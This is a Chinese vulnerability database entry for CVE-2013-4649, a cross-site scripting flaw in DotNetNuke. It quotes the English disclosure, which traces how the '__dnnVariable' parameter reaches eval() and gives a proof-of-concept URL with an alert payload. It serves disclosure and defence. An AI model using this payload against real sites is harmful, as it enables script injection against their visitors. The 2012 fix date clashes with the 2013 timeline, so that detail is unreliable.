DNN DotNetNuke 跨站脚本漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1166653 漏洞类型 跨站脚本
发布时间 2013-08-13 更新时间 2013-08-13
CVE编号 CVE-2013-4649 CNNVD-ID CNNVD-201308-236
漏洞平台 N/A CVSS评分 4.3
|漏洞来源
https://www.securityfocus.com/bid/61770
https://cxsecurity.com/issue/WLB-2013080113
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201308-236
|漏洞详情
DotNetNuke(DNN)是美国DNN公司的一套由微软支持、基于ASP.NET平台的开源内容管理系统(CMS)。该系统具有易于安装、可扩展、功能丰富等特点。DNN6.2.8及之前的版本和7.1.1之前的7.x版本中存在跨站脚本漏洞,该漏洞源于默认的URI没有充分过滤‘__dnnVariable’参数。远程攻击者可利用该漏洞注入任意Web脚本或HTML。
|漏洞EXP
Title: DotNetNuke (DNN) Cross-Site Scripting Vulnerability
References: CVE-2013-4649
Discovered by: Sajjad Pourali , Nasser Salim Al-Hadhrami

Vendor http://dnnsoftware.com/
Vendor advisory: http://www.dnnsoftware.com/Platform/Manage/Security-Bulletins (2013-07)
Vendor contact: 2013-06-23
Vendor response: 2013-06-24 (Cathal Connolly from DotNetNuke)
Vendor fix and announcement: 2012-08-14

Solution: Update To (6.2.9/7.1.1)
 
Remote: yes
Authentication required: no
User interaction required: yes
Impact: Medium
 
Affected:

 - DNN 7.1.0 and earlier
 - DNN 6.2.8 and earlier
 
Not affected:
 - DNN 7.1.1
 - DNN 6.2.9

---
 
Trace vulnerable place:
 
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} : 

	...
	
	<input name="__dnnVariable" type="hidden" id="__dnnVariable" autocomplete="off" value="`{`__dnn_pageload`:`alert(/XSS/)`,`__scdoff`:`1`}" />

    	...
 

http://www.vulnerable.com/js/dnn.js : 

	...
 
	Type.registerNamespace("dnn");

	...

http://www.vulnerable.com/js/dnncore.js : 

	...
 
	function __dnn_ClientAPIEnabled()
	{
		return typeof (dnn) != "undefined"
	}

    	...
    
	if (__dnn_ClientAPIEnabled())
	{
		var sLoadHandlers = dnn.getVar("__dnn_pageload");
		if (sLoadHandlers != null)
		{
			eval(sLoadHandlers)
		}
			dnn.dom.attachEvent(window, "onscroll", __dnn_bodyscroll)
		}
		 __dnn_m_bPageLoaded = true
	}

	...

---
 
PoC:
 
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} 
 
---
 
 + Sajjad Pourali
 + http://www.securation.com/
 + http://www.cert.um.ac.ir/
 + Contact: sajjad[at]securation.com
|受影响的产品
DotNetNuke DotNetNuke 7.1 DotNetNuke DotNetNuke 6.2.8 DotNetNuke DotNetNuke 6.2.7 DotNetNuke DotNetNuke 6.2.4 DotNetNuke DotNetNuke 6.2.1 DotNetNuke DotNetNuke 6.2.0
|参考资料

来源:XF
名称:dotnetnuke-cve20134649-dnnvariable-xss(86432)
链接:http://xforce.iss.net/xforce/xfdb/86432
来源:www.dnnsoftware.com
链接:http://www.dnnsoftware.com/platform/manage/security-center
来源:SECUNIA
名称:53493
链接:http://secunia.com/advisories/53493
来源:packetstormsecurity.com
链接:http://packetstormsecurity.com/files/122792/DotNetNuke-DNN-7.1.0-6.2.8-Cross-Site-Scripting.html
来源:BID
名称:61770
链接:http://www.securityfocus.com/bid/61770